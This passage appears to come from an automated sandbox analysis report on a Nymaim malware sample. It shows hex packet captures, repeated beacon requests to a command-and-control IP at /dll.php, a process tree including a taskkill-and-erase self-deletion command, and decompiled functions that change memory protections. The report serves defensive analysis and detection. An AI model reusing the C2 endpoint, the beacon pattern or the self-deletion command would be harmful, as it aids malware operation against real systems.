0a df 88 1d 9c ff bf a7 8f e3 93 28 b3 b7 ff 4d 60 e0 4f c0 59 cc a7 a2 f8 80 3f 7f de ff 15 44 ee 9d 13 97 52 06 19 11 9c 4e e7 b1 1a 93 43 dd 8f 7b a0 ef 45 d9 5c 69 a0 0d d0 ea 1e d6 d2 3a 13 68 99 13 ee 23 95 ad 5c cd dc d5 64 14 84 81 2a 4f 84 f1 22 ee 8f ef 4e 07 79 77 14 32 06 24 f4 0b 4c e4 7b a8 05 9b ec 8d 5b 77 5c 95 b2 07 fc 76 14 97 01 9e fc 7a 6d 14 14 d5 e2 39 de 98 7c 84 71 f3 f3 a5 da 70 b4 08 dd 11 6a b9 57 66 51 02 35 68 5e 72 59 bf 72 fd 2d 81 9e 5e 7d 67 02 d9 94 9b 10 e8 d4 fe 5d 25 9e d9 1f 45 6c cc 39 38 51 03 9b 35 46 29 a4 46 07 91 ac 29 0c 4b 42 44 0e ec 8f 3c 30 83 90 6c 37 c6 b0 c1 c6 3a eb 88 8b d2 83 21 db f0 0c 2e 94 4c 1b 87 50 af 6c d4 16 6f 56 8a e2 d5 df 68 dc f5 7e 3b ac 47 0e 9e 4b e6 ba 12 f5 b9 2d d9 c9 a7 3d 7b e9 dc 1f 05 06 55 00 25 0e 83 1b 7e b4 28 82 44 45 f3 00 38 f3 f1 64 66 e9 2f f7 9e ef 6e 8f 0a 1b 46 43 00 8f 12 f9 7e 23 ab 60 eb 89 61 d0 ba a2 bb 19 d9 11 81 d3 42 92 72 d1 ee 4f 4a 5e 2d f4 dd 01 24 eb 28 60 d9 c0 1a 4e ba ce 2a 6b 0e b8 e6 02 50 8b a2 68 17 83 de 04 81 2b 15 6f c7 0b 9f 57 fe 6d a0 30 bd c8 99 88 26 6a 10 b6 f8 45 d4 f8 9c 53 69 70 89 08 70 1b 1b fc 55 88 8c 51 78 ff 8e 18 71 91 5b 0c b5 22 a7 e6 80 e6 f5 e0 cf 55 06 e1 b5 6e 7c f8 4d 65 5f d2 f8 80 50 54 cb 7c 63 12 77 74 07 08 a1 ad 35 6c 9b b7 8d 27 0b a0 66 b9 01 36 6e ee f2 93 2c 8a 2b a1 e3 a2 0d 81 34 2a a5 d3 1f f5 4a c2 5c 9f c5 2b bf c8 5c 83 98 43 f9 06 df 3a 31 1a 75 14 e1 6c a7 68 c5 f9 14 6e dd 36 03 89 35 50 81 2d 2f f1 7f a5 07 c5 0c e5 fd 6d 37 30 44 e0 c6 93 44 96 5f 1e 1d da db 9f 3f b2 e0 39 0f 2a 56 d5 b3 15 a9 4d 38 b0 98 6d 09 54 0d 5d 34 80 69 b0 49 51 4e 19 bd 15 fa 42 56 b4 eb e0 22 68 a6 86 1b 82 b7 b6 14 66 fa fe 90 d5 0d f8 56 c5 28 81 da 57 b4 0d 48 e1 60 2c e7 a3 56 60 af ec 6c 1e 3b ad f2 fc 7d c3 40 f9 ce bb 16 8d fe 1a b2 2a fb c6 72 44 8b 84 d7 01 36 4f 50 d9 4f 43 23 5e 10 b4 08 12 1b d5 3d 5e 37 ed 85 52 17 e1 00 74 78 f4 0d 51 3c c6 a3 d3 8c 4a 0f b0 6f 9b 6e Data Ascii: 'mhf{Q{7_l/3`p$.]~@Vt%eB9a/_G\|O0HG`` kx#)Wn;vmNT:l37r/X1,)^YN{8=REzcG~X0}brEd(M`OY?DRNC{E\i:h#\dO"Nyw2$L{[w\vzm9\|qpjWfQ5h^rYr-^}g]%El98Q5F)F)KBD<0l7:!.LPloVh~;GK-={U%~(DE8df/nFC~#`aBrOJ^-$(`NkPh+oWm0&jESippUQxq["Un\|Me_PT\|cwt5l'f6n,+4J\+\C:1ulhn65P-/m70DD_?9VM8mT]4iIQNBV"hfV(WH`,V`l;}@*rD6OPOC#^=^7RtxQ<Jon
May 28, 2023 14:31:02.950850964 CEST	96	IN	Data Raw: b9 13 71 db 4f 0e 15 66 e7 46 c7 02 cf f6 29 eb 59 32 76 ea e8 b3 49 ca 8c aa d5 67 ee 6c 6e 56 0d 58 a2 14 73 6d de 3e 1b e9 8d ea 8d a1 e4 5e 65 4f 80 6c d9 a5 c8 d2 14 c5 45 42 e8 82 d5 17 75 1b 6d 0b 45 c1 7c 95 58 93 ff a3 29 62 20 37 c7 4b Data Ascii: qOfF)Y2vIglnVXsm>^eOlEBumE\|X)b 7Kma"%tpU\LA:_@c3[mG\|!H.a${K"!k\Qq:C"D`}.z"7\|KS=mkhiiR&,MU
May 28, 2023 14:31:02.950901985 CEST	97	IN	Data Raw: b8 1a dd 12 6a 63 22 75 53 e8 6b 72 e2 65 3c 8c 7a 9b 4c 78 8c 17 82 80 83 7e d8 ad 93 53 59 37 ad 82 77 06 e7 05 c5 f1 a8 22 05 6e f9 c9 ae b7 a0 dd 89 8b 25 98 9e 5d 33 04 b2 58 9f 6a 8c 7f 18 91 fa c9 91 95 1f 4f 82 57 93 11 90 f4 b3 2e 7e 33 Data Ascii: jc"uSkre<zLx~SY7w"n%]3XjOW.~3Z-jTwlps5~5r~yWitQCn5B#Gk;y^zg9Kx/Q0RW5\|R:K@!2om
May 28, 2023 14:31:02.950948954 CEST	98	IN	Data Raw: 82 0e 3a 85 40 47 64 e9 c9 eb ed ad 96 1a 7f 35 cc aa f6 e3 81 91 4a f0 88 37 75 b8 56 f3 f5 42 7c ff 91 2f d1 bc 64 a9 be 28 ac 38 81 a1 71 e1 cc a1 05 99 f3 f2 c2 c3 8a 7c 1e 85 f4 af 71 92 af 7a 5a 6c 67 0f 0c 4e 6b e5 43 32 ec 22 ca 18 b8 f7 Data Ascii: :@Gd5J7uVB\|/d(8q\|qzZlgNkC2"=<,4^jLcjkSRqNr$f%]*Qrp$^2}!Ff!zTNv>fRu&Y45B!F3_T2+qT>)r
May 28, 2023 14:31:02.950995922 CEST	100	IN	Data Raw: b7 9c a5 c7 b4 13 59 4c 89 e7 7c c9 80 cf 4f 07 34 85 f7 e2 26 20 15 84 d6 ae b3 ba f2 5a ba ad f3 ed 1e 17 92 2d 9a 0b 50 0e ff d8 f1 a0 f9 4b ab ed 3e 1f b6 c9 56 f6 a9 65 3d be c8 b0 38 bb 71 41 ed 5f d9 45 2d c0 00 9d 41 b1 97 dc 66 ef 3b ff Data Ascii: YL\|O4& Z-PK>Ve=8qA_E-Af;V\VVWCbe+S,eu{@,]%>/}Yc(-(KQ!&[:\x20iG6w,3WV]s6Xrf%GLC"e`0@
May 28, 2023 14:31:02.951042891 CEST	101	IN	Data Raw: 11 d8 4d 3a d6 dd 89 59 cd 0b 16 a1 5c e0 b1 82 41 56 1f 2d 8a 9b 34 a6 7a 93 38 50 c7 99 d8 3a 5a cb 51 23 16 57 7a b1 29 e4 f4 36 d6 b8 5d 77 4a 95 67 c8 69 0e 2c f6 00 e4 e2 0b c1 d7 d5 91 fb 80 69 e7 91 29 a8 5a 8d f7 57 80 64 35 2e fd 18 f6 Data Ascii: M:Y\AV-4z8P:ZQ#Wz)6]wJgi,i)ZWd5.s)k%>Zddu!QYWFNH;}lKX~u)^y.]BuZoZ]2-?,56DRX[`LPCz/V!f4d'1+9IC
May 28, 2023 14:31:02.951092005 CEST	102	IN	Data Raw: 1b 1f 1e 44 b1 ea d8 45 04 ab b8 d9 e9 5b 76 e7 0f b9 a3 47 a5 21 f4 b1 e2 9c 7f e3 62 48 c7 27 08 83 60 37 7a 83 bb 17 e4 3b 24 46 2f 8a 1e b7 ec 06 8b 63 c4 b9 c0 d8 4b 6e 9a d9 e6 ea d5 c3 7a f9 d3 5c 3a f0 ac bf 17 aa a3 24 37 46 f0 00 17 c6 Data Ascii: DE[vG!bH'`7z;$F/cKnz\:$7FT% "!!1w{AdD[hQcwWR<S[lrb0}q`XogG k{6Z\F{jl/0b1r.0-w?I-EiJ]QZt.
May 28, 2023 14:31:02.951138973 CEST	104	IN	Data Raw: 15 aa c4 ac c1 28 5e 30 c8 d8 1b 87 a6 86 ce 81 94 ff bb 78 a0 94 2c f7 b8 83 70 db 10 39 6c 7f 79 51 5c da 40 ba 8b d9 87 9d 63 9a 86 af 24 46 fe 58 1e 56 e3 76 ae 65 f3 8a 9e a2 15 92 97 81 c9 4f e6 89 39 a3 7f 20 cf d1 76 d3 7a fb 17 71 5b 15 Data Ascii: (^0x,p9lyQ\@c$FXVveO9 vzq[SSvQZEgb39=hC(~]yk\|j(F"V[j%o$ofNn#P=:Bm#?PQ_opFE~2psDLW~ZqzH
May 28, 2023 14:31:02.951205969 CEST	105	IN	Data Raw: 26 a5 33 19 2c f6 3d 89 23 38 0a a9 00 c9 bd 0a ef 81 a1 7b 11 01 53 c3 1b f4 ad f5 59 c4 93 b9 df 8a 2e dc ab 4a 9e 19 73 17 6a e2 09 be 31 e3 8f f4 13 d0 46 9f 93 14 67 e7 e5 a8 b0 f5 ca f7 a9 b2 d2 1a 64 34 eb d5 d0 30 ab 83 76 61 64 dd 88 9e Data Ascii: &3,=#8{SY.Jsj1Fgd40vadgF;3rx{(hbu/,Ty*}s3R5/.#]zzZNRUr&tJ{fap[>2?7'61-346(B`\|?c^owJmqB
May 28, 2023 14:31:02.951253891 CEST	107	IN	Data Raw: 8a 9c e3 ed ac f9 73 a4 72 e1 6f 02 8d 58 da 38 93 56 65 c0 74 75 9d 2d 02 f2 7e 5a 55 d2 86 1c 62 e8 f4 12 48 e1 d8 56 df bc 74 da 45 c9 0f 87 28 78 ca 36 3e 1b 95 e2 ae 4f 8f e8 96 d8 57 0b da 65 ed f5 3a b8 dc 7a fb e9 ff 6e d7 8f 7b 2b 0e 53 Data Ascii: sroX8Vetu-~ZUbHVtE(x6>OWe:zn{+S~P)wU,h.Gu0,<m!ANyRl`'S6iCM.q5rR1e.p7&e"/-$l 9} u)u
May 28, 2023 14:31:02.976932049 CEST	108	IN	Data Raw: d6 ab 4f aa bb 0e d9 dd 8d 70 17 60 be 8b 11 23 87 57 fd 44 08 45 b2 3f 9d 03 c9 b2 be 1e 4c f7 ab a2 11 24 29 8d 37 57 ca 32 12 c1 b7 01 68 9c 8d 74 77 0c a8 14 0e dd b8 8d fa 88 0c 62 4e dd b5 39 b5 60 49 06 2f ec b7 7b d0 82 6d 31 88 cb 7e 7b Data Ascii: Op`#WDE?L$)7W2htwbN9`I/{m1~{.M@%]?{T?P+(;9@&1\GHIys=pk!"L+k(D}Hv&H.H{#kQ<iO*b!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49699	45.12.253.75	80	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe

Timestamp	kBytes transferred	Direction	Data
May 28, 2023 14:31:03.107307911 CEST	195	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:04.113198042 CEST	195	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:03 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:06.164664030 CEST	196	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:07.180497885 CEST	196	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:09.243110895 CEST	197	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:10.275702000 CEST	197	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:12.347346067 CEST	197	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:13.336638927 CEST	198	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:12 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:16.196873903 CEST	198	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:17.181067944 CEST	199	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:16 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:19.244203091 CEST	199	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:20.223187923 CEST	199	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:19 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:22.302320004 CEST	200	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:23.346162081 CEST	200	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=94 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:25.402549982 CEST	201	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:26.400597095 CEST	201	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:25 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:28.479499102 CEST	202	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:29.528879881 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:32.466677904 CEST	202	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:33.490919113 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0
May 28, 2023 14:31:35.542563915 CEST	203	OUT	GET /dll.php HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: B Host: 45.12.253.75 Connection: Keep-Alive Cache-Control: no-cache
May 28, 2023 14:31:36.600250006 CEST	204	IN	HTTP/1.1 200 OK Date: Sun, 28 May 2023 12:31:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: 1ibwQtrqNy.exePID: 4080, Parent PID: 3452

General

Target ID:	0
Start time:	14:30:55
Start date:	28/05/2023
Path:	C:\Users\user\Desktop\1ibwQtrqNy.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\1ibwQtrqNy.exe
Imagebase:	0x400000
File size:	2146015 bytes
MD5 hash:	65DD3ED482F22906E70DD004A73E5CEF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: is-2H2P0.tmpPID: 4944, Parent PID: 4080

General

Target ID:	1
Start time:	14:30:56
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-50VJD.tmp\is-2H2P0.tmp" /SL4 $2048E "C:\Users\user\Desktop\1ibwQtrqNy.exe" 1911253 52224
Imagebase:	0x400000
File size:	659968 bytes
MD5 hash:	1F2BC482C99F55A713CF6CA3C1FF04F8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 3%, ReversingLabs
Reputation:	moderate

Show Windows behavior

Chronological Activities

Analysis Process: Rec528.exePID: 2576, Parent PID: 4944

General

Target ID:	2
Start time:	14:30:57
Start date:	28/05/2023
Path:	C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe"
Imagebase:	0x400000
File size:	2491753 bytes
MD5 hash:	9D3532E4DB1BBBCCA78E0D2DC8AE2572
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.443567321.0000000003260000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Nymaim, Description: Yara detected Nymaim, Source: 00000002.00000002.442855707.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: IFLIjCfKSqd.exePID: 7052, Parent PID: 2576

General

Target ID:	3
Start time:	14:31:01
Start date:	28/05/2023
Path:	C:\Users\user\AppData\Roaming\{e6e9dfa8-98f2-11e9-90ce-806e6f6e6963}\IFLIjCfKSqd.exe
Wow64 process (32bit):	true
Commandline:
Imagebase:	0x90000
File size:	73728 bytes
MD5 hash:	3FB36CB0B7172E5298D2992D42984D06
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 62%, ReversingLabs
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: cmd.exePID: 5924, Parent PID: 2576

General

Target ID:	6
Start time:	14:31:38
Start date:	28/05/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c taskkill /im "Rec528.exe" /f & erase "C:\Program Files (x86)\FLSCover\Rec528\Rec528.exe" & exit
Imagebase:	0xb0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5972, Parent PID: 5924

General

Target ID:	7
Start time:	14:31:38
Start date:	28/05/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: taskkill.exePID: 2288, Parent PID: 5924

General

Target ID:	8
Start time:	14:31:38
Start date:	28/05/2023
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /im "Rec528.exe" /f
Imagebase:	0x930000
File size:	74752 bytes
MD5 hash:	15E2E0ACD891510C6268CB8899F2A1A1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: 1ibwQtrqNy.exePID: 4080, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	22.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	1.9%
Total number of Nodes:	1455
Total number of Limit Nodes:	16

Executed Functions

Function 00409764 Relevance: 7.6, APIs: 5, Instructions: 78
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00409764(void* __eax) {
				char _v44;
				struct _SYSTEM_INFO _v80;
				long _v84;
				long _t17;
				long _t20;
				int _t23;
				void* _t33;
				void* _t34;
				struct _MEMORY_BASIC_INFORMATION* _t35;
				void* _t36;
				DWORD* _t37;

				_t34 = __eax;
				_t35 =  &_v44;
				GetSystemInfo( &_v80); // executed
				_t17 = VirtualQuery(_t34, _t35, 0x1c);
				if(_t17 == 0) {
					L17:
					return _t17;
				} else {
					while(1) {
						_t17 = _t35->AllocationBase;
						if(_t17 != _t34) {
							goto L17;
						}
						if(_t35->State != 0x1000 || (_t35->Protect & 0x00000001) != 0) {
							L15:
							_t17 = VirtualQuery(_t35->BaseAddress + _t35->RegionSize, _t35, 0x1c);
							if(_t17 == 0) {
								goto L17;
							}
							continue;
						} else {
							_t33 = 0;
							_t20 = _t35->Protect;
							if(_t20 == 1 || _t20 == 2 || _t20 == 0x10 || _t20 == 0x20) {
								_t23 = VirtualProtect(_t35->BaseAddress, _t35->RegionSize, 0x40, _t37); // executed
								if(_t23 != 0) {
									_t33 = 1;
								}
							}
							_t36 = 0;
							while(_t36 < _t35->RegionSize) {
								E0040975C(_t35->BaseAddress + _t36);
								_t36 = _t36 + _v80.dwPageSize;
							}
							if(_t33 != 0) {
								VirtualProtect( *_t35, _t35->RegionSize, _v84, _t37); // executed
							}
							goto L15;
						}
					}
					goto L17;
				}
			}

0x0040976b
0x0040976d
0x00409776
0x00409781
0x00409788
0x0040981f
0x0040981f
0x0040978e
0x0040980d
0x0040980d
0x00409812
0x00000000
0x00000000
0x00409797
0x004097f9
0x00409804
0x0040980b
0x00000000
0x00000000
0x00000000
0x0040979f
0x0040979f
0x004097a1
0x004097a7
0x004097c2
0x004097c9
0x004097cb
0x004097cb
0x004097c9
0x004097cd
0x004097de
0x004097d5
0x004097da
0x004097da
0x004097e5
0x004097f4
0x004097f4
0x00000000
0x004097e5
0x00409797
0x00000000
0x0040980d

APIs

GetSystemInfo.KERNEL32(?), ref: 00409776
VirtualQuery.KERNEL32(00400000,?,0000001C,?), ref: 00409781
VirtualProtect.KERNEL32(?,?,00000040,?,00400000,?,0000001C,?), ref: 004097C2
VirtualProtect.KERNEL32(?,?,?,?,?,?,00000040,?,00400000,?,0000001C,?), ref: 004097F4
VirtualQuery.KERNEL32(?,?,0000001C,00400000,?,0000001C,?), ref: 00409804

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: Virtual$ProtectQuery$InfoSystem
String ID:
API String ID: 2441996862-0
Opcode ID: e7d59a0a1be65b1ec303da3268a7ff8597b9aef66cd3e2b8048c8a494adb3755
Instruction ID: 44c210a8e48c48985264e56f916c74eddf15e633ff85efca976292ba9331e058
Opcode Fuzzy Hash: e7d59a0a1be65b1ec303da3268a7ff8597b9aef66cd3e2b8048c8a494adb3755
Instruction Fuzzy Hash: 3F215E72210304ABD630AE598C85E9777DCDB45760F184D2EFA85F33C2D638EC448669

Uniqueness

Uniqueness Score: -1.00%

Function 004051D8 Relevance: 1.5, APIs: 1, Instructions: 29
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004051D8(int __eax, void* __ecx, int __edx, intOrPtr _a4) {
				char _v260;
				int _t5;
				intOrPtr _t10;
				void* _t18;

				_t18 = __ecx;
				_t10 = _a4;
				_t5 = GetLocaleInfoA(__eax, __edx,  &_v260, 0x100); // executed
				_t19 = _t5;
				if(_t5 <= 0) {
					return E0040322C(_t10, _t18);
				}
				return E00403278(_t10, _t5 - 1,  &_v260, _t19);
			}

0x004051e3
0x004051e5
0x004051f6
0x004051fb
0x004051fd
0x00000000
0x00405215
0x00000000

APIs

GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040B4BC,00000001,?,004052A3,?,00000000,00405382), ref: 004051F6

Memory Dump Source

Source File: 00000000.00000002.447371486.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.447360491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447387880.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.447399623.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1ibwQtrqNy.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: cf18c32ad4b4180bbf3070ecb9de66825d20615657b4f7ee4738737295393d70
Instruction ID: c488385247b8728ccff325faa9690c1689411ec08dfc6ccb0026e5f0f67dc910
Opcode Fuzzy Hash: cf18c32ad4b4180bbf3070ecb9de66825d20615657b4f7ee4738737295393d70
Instruction Fuzzy Hash: 62E0927171021427D710A9A99C86AEB725CDBA8310F0042BFBA04E73C1EDB49E804AED

Uniqueness

